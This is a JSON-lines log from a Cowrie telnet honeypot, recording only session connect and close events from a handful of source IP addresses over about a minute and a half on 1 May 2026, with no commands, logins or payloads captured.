{"eventid":"cowrie.session.closed","duration":31.21750807762146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:05.861137Z","src_ip":"31.186.173.44","session":"57f38e2a178b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93183994293213,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:05.954926Z","src_ip":"164.68.118.26","session":"b877e15796e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238529920578003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:07.273880Z","src_ip":"31.186.173.44","session":"b3578f0b6d5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610562324523926,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:07.838811Z","src_ip":"31.186.173.44","session":"5461d4d0885a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51008,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef409d03357","protocol":"telnet","message":"New connection: 31.186.173.44:51008 (10.17.0.5:23) [session: aef409d03357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:08.046844Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51346,"dst_ip":"10.17.0.5","dst_port":23,"session":"233294d63688","protocol":"telnet","message":"New connection: 31.186.173.44:51346 (10.17.0.5:23) [session: 233294d63688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:09.211395Z"}
{"eventid":"cowrie.session.closed","duration":38.20633935928345,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:09.369265Z","src_ip":"103.115.172.252","session":"bba033039c41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51607,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0c23790e1c","protocol":"telnet","message":"New connection: 31.186.173.44:51607 (10.17.0.5:23) [session: 1c0c23790e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:10.265118Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51609,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38f4a4927bf","protocol":"telnet","message":"New connection: 31.186.173.44:51609 (10.17.0.5:23) [session: c38f4a4927bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:10.290691Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51638,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8d22d04c2e","protocol":"telnet","message":"New connection: 31.186.173.44:51638 (10.17.0.5:23) [session: 5b8d22d04c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:10.431249Z"}
{"eventid":"cowrie.session.closed","duration":30.87133288383484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:10.834822Z","src_ip":"31.186.173.44","session":"4f0905cff9f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":51946,"dst_ip":"10.17.0.5","dst_port":23,"session":"11470ad57967","protocol":"telnet","message":"New connection: 31.186.173.44:51946 (10.17.0.5:23) [session: 11470ad57967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:11.696697Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":52470,"dst_ip":"10.17.0.5","dst_port":23,"session":"b10d394355b5","protocol":"telnet","message":"New connection: 31.186.173.44:52470 (10.17.0.5:23) [session: b10d394355b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:13.620743Z"}
{"eventid":"cowrie.session.closed","duration":30.93150782585144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:14.813864Z","src_ip":"31.186.173.44","session":"82f8eda4382d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":52454,"dst_ip":"10.17.0.5","dst_port":23,"session":"761991f144c7","protocol":"telnet","message":"New connection: 45.63.42.31:52454 (10.17.0.5:23) [session: 761991f144c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:14.938564Z"}
{"eventid":"cowrie.session.closed","duration":31.12343716621399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:16.162244Z","src_ip":"164.68.118.26","session":"9a05a586d909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122117280960083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:19.804592Z","src_ip":"31.186.173.44","session":"cc6c2f00762a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03358769416809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:21.166708Z","src_ip":"31.186.173.44","session":"e553d17b8d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":54774,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5cd1908561f","protocol":"telnet","message":"New connection: 31.186.173.44:54774 (10.17.0.5:23) [session: e5cd1908561f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:22.856757Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":55573,"dst_ip":"10.17.0.5","dst_port":23,"session":"dad38409d405","protocol":"telnet","message":"New connection: 31.186.173.44:55573 (10.17.0.5:23) [session: dad38409d405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:25.897475Z"}
{"eventid":"cowrie.session.closed","duration":30.902948141098022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:29.202677Z","src_ip":"31.186.173.44","session":"e5feff782b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":51192,"dst_ip":"10.17.0.5","dst_port":23,"session":"880ee038e71b","protocol":"telnet","message":"New connection: 157.230.123.106:51192 (10.17.0.5:23) [session: 880ee038e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:29.539262Z"}
{"eventid":"cowrie.session.closed","duration":30.59002423286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:29.932818Z","src_ip":"31.186.173.44","session":"f94304cfe631","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316320657730103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:30.103677Z","src_ip":"31.186.173.44","session":"527279c72450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":57300,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c6bea70dd98","protocol":"telnet","message":"New connection: 31.186.173.44:57300 (10.17.0.5:23) [session: 1c6bea70dd98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:31.822951Z"}
{"eventid":"cowrie.session.closed","duration":31.000253200531006,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:31.858451Z","src_ip":"31.186.173.44","session":"9fb42ed230d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57216,"dst_ip":"10.17.0.5","dst_port":23,"session":"025af821ec14","protocol":"telnet","message":"New connection: 45.63.42.31:57216 (10.17.0.5:23) [session: 025af821ec14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:32.280128Z"}
{"eventid":"cowrie.session.closed","duration":30.819185495376587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:32.767742Z","src_ip":"31.186.173.44","session":"98a912e0804d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":58145,"dst_ip":"10.17.0.5","dst_port":23,"session":"4679da1277e2","protocol":"telnet","message":"New connection: 31.186.173.44:58145 (10.17.0.5:23) [session: 4679da1277e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:34.704550Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"cac0cf63d2db","protocol":"telnet","message":"New connection: 157.230.123.106:52370 (10.17.0.5:23) [session: cac0cf63d2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:35.727381Z"}
{"eventid":"cowrie.session.closed","duration":30.97304892539978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:39.019737Z","src_ip":"31.186.173.44","session":"aef409d03357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72920560836792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:39.940467Z","src_ip":"31.186.173.44","session":"233294d63688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":53096,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee49ec836ff","protocol":"telnet","message":"New connection: 157.230.123.106:53096 (10.17.0.5:23) [session: dee49ec836ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:40.496832Z"}
{"eventid":"cowrie.session.closed","duration":30.48887801170349,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:40.753625Z","src_ip":"31.186.173.44","session":"1c0c23790e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.512878894805908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:40.803428Z","src_ip":"31.186.173.44","session":"c38f4a4927bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.205373287200928,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:41.636486Z","src_ip":"31.186.173.44","session":"5b8d22d04c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":60920,"dst_ip":"10.17.0.5","dst_port":23,"session":"da37fd688185","protocol":"telnet","message":"New connection: 31.186.173.44:60920 (10.17.0.5:23) [session: da37fd688185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:42.564537Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":60981,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ff8f2bc20a","protocol":"telnet","message":"New connection: 31.186.173.44:60981 (10.17.0.5:23) [session: 97ff8f2bc20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:42.733697Z"}
{"eventid":"cowrie.session.closed","duration":31.167989015579224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:42.864569Z","src_ip":"31.186.173.44","session":"11470ad57967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":33345,"dst_ip":"10.17.0.5","dst_port":23,"session":"de9b7ce7e19b","protocol":"telnet","message":"New connection: 31.186.173.44:33345 (10.17.0.5:23) [session: de9b7ce7e19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:44.142066Z"}
{"eventid":"cowrie.session.closed","duration":31.103976488113403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:44.724568Z","src_ip":"31.186.173.44","session":"b10d394355b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":35376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a990b0867519","protocol":"telnet","message":"New connection: 31.186.173.44:35376 (10.17.0.5:23) [session: a990b0867519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:50.245486Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":55946,"dst_ip":"10.17.0.5","dst_port":23,"session":"450f73257835","protocol":"telnet","message":"New connection: 157.230.123.106:55946 (10.17.0.5:23) [session: 450f73257835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:50.916233Z"}
{"eventid":"cowrie.session.closed","duration":36.00169801712036,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:50.940126Z","src_ip":"45.63.42.31","session":"761991f144c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":54456,"dst_ip":"10.17.0.5","dst_port":23,"session":"31dd241bce50","protocol":"telnet","message":"New connection: 157.230.123.106:54456 (10.17.0.5:23) [session: 31dd241bce50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:51.630898Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39930,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7bd85089e4","protocol":"telnet","message":"New connection: 45.63.42.31:39930 (10.17.0.5:23) [session: 0e7bd85089e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:52.046248Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":36131,"dst_ip":"10.17.0.5","dst_port":23,"session":"59b2445d99d9","protocol":"telnet","message":"New connection: 31.186.173.44:36131 (10.17.0.5:23) [session: 59b2445d99d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:52.623316Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":56324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d110d2eb5c51","protocol":"telnet","message":"New connection: 157.230.123.106:56324 (10.17.0.5:23) [session: d110d2eb5c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:52.825437Z"}
{"eventid":"cowrie.session.closed","duration":30.895415782928467,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:53.752033Z","src_ip":"31.186.173.44","session":"e5cd1908561f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97723937034607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:56.874590Z","src_ip":"31.186.173.44","session":"dad38409d405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":37905,"dst_ip":"10.17.0.5","dst_port":23,"session":"82ecd50ef8ca","protocol":"telnet","message":"New connection: 31.186.173.44:37905 (10.17.0.5:23) [session: 82ecd50ef8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:57.454762Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":37915,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b17d5be74e","protocol":"telnet","message":"New connection: 31.186.173.44:37915 (10.17.0.5:23) [session: d1b17d5be74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:57.459364Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":38504,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd344faeef81","protocol":"telnet","message":"New connection: 31.186.173.44:38504 (10.17.0.5:23) [session: dd344faeef81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:09:59.269230Z"}
{"eventid":"cowrie.session.closed","duration":30.591293334960938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:00.130435Z","src_ip":"157.230.123.106","session":"880ee038e71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94187903404236,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:02.764712Z","src_ip":"31.186.173.44","session":"1c6bea70dd98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.979433298110962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:06.683985Z","src_ip":"31.186.173.44","session":"4679da1277e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07252812385559,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:06.799792Z","src_ip":"157.230.123.106","session":"cac0cf63d2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":52630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e078b1dcf838","protocol":"telnet","message":"New connection: 157.230.123.106:52630 (10.17.0.5:23) [session: e078b1dcf838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:07.061071Z"}
{"eventid":"cowrie.session.closed","duration":0.007788419723510742,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:07.068712Z","src_ip":"157.230.123.106","session":"e078b1dcf838","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c88585be01a2","protocol":"telnet","message":"New connection: 157.230.123.106:59044 (10.17.0.5:23) [session: c88585be01a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:08.607301Z"}
{"eventid":"cowrie.session.closed","duration":38.327046394348145,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:10.607046Z","src_ip":"45.63.42.31","session":"025af821ec14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":42000,"dst_ip":"10.17.0.5","dst_port":23,"session":"7edbb4e40533","protocol":"telnet","message":"New connection: 31.186.173.44:42000 (10.17.0.5:23) [session: 7edbb4e40533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:11.676802Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59760,"dst_ip":"10.17.0.5","dst_port":23,"session":"f110d7e156b5","protocol":"telnet","message":"New connection: 157.230.123.106:59760 (10.17.0.5:23) [session: f110d7e156b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:11.880565Z"}
{"eventid":"cowrie.session.closed","duration":30.33159351348877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:12.896019Z","src_ip":"31.186.173.44","session":"da37fd688185","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59656,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed901b1e6099","protocol":"telnet","message":"New connection: 157.230.123.106:59656 (10.17.0.5:23) [session: ed901b1e6099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:13.136518Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59898,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd36f85d312","protocol":"telnet","message":"New connection: 157.230.123.106:59898 (10.17.0.5:23) [session: bcd36f85d312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:13.633268Z"}
{"eventid":"cowrie.session.closed","duration":31.041263103485107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:13.774847Z","src_ip":"31.186.173.44","session":"97ff8f2bc20a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59876,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a0c14656ff1","protocol":"telnet","message":"New connection: 157.230.123.106:59876 (10.17.0.5:23) [session: 1a0c14656ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:14.548311Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":43122,"dst_ip":"10.17.0.5","dst_port":23,"session":"500dc8db4ed0","protocol":"telnet","message":"New connection: 31.186.173.44:43122 (10.17.0.5:23) [session: 500dc8db4ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:15.314680Z"}
{"eventid":"cowrie.session.closed","duration":31.20628261566162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:15.348248Z","src_ip":"31.186.173.44","session":"de9b7ce7e19b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59916,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb8d73963af1","protocol":"telnet","message":"New connection: 157.230.123.106:59916 (10.17.0.5:23) [session: bb8d73963af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:15.732206Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":60668,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e074169490f","protocol":"telnet","message":"New connection: 157.230.123.106:60668 (10.17.0.5:23) [session: 9e074169490f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:16.787091Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":59628,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3d67b3c3edf","protocol":"telnet","message":"New connection: 157.230.123.106:59628 (10.17.0.5:23) [session: b3d67b3c3edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:19.022281Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.123.106","src_port":53316,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b63dedd57e","protocol":"telnet","message":"New connection: 157.230.123.106:53316 (10.17.0.5:23) [session: 31b63dedd57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:20.183810Z"}
{"eventid":"cowrie.session.closed","duration":0.005293369293212891,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:20.188954Z","src_ip":"157.230.123.106","session":"31b63dedd57e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96105122566223,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:20.457759Z","src_ip":"157.230.123.106","session":"dee49ec836ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":44762,"dst_ip":"10.17.0.5","dst_port":23,"session":"a05ab30b1a1a","protocol":"telnet","message":"New connection: 31.186.173.44:44762 (10.17.0.5:23) [session: a05ab30b1a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:20.491662Z"}
{"eventid":"cowrie.session.closed","duration":30.55523991584778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:20.800607Z","src_ip":"31.186.173.44","session":"a990b0867519","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53052043914795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:21.446561Z","src_ip":"157.230.123.106","session":"450f73257835","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.173.44","src_port":45285,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d745232a43","protocol":"telnet","message":"New connection: 31.186.173.44:45285 (10.17.0.5:23) [session: 10d745232a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:22.289074Z"}
{"eventid":"cowrie.session.closed","duration":30.129108667373657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:22.752268Z","src_ip":"31.186.173.44","session":"59b2445d99d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428069353103638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:10:27.887351Z","src_ip":"31.186.173.44","session":"d1b17d5be74e","protocol":"telnet"}
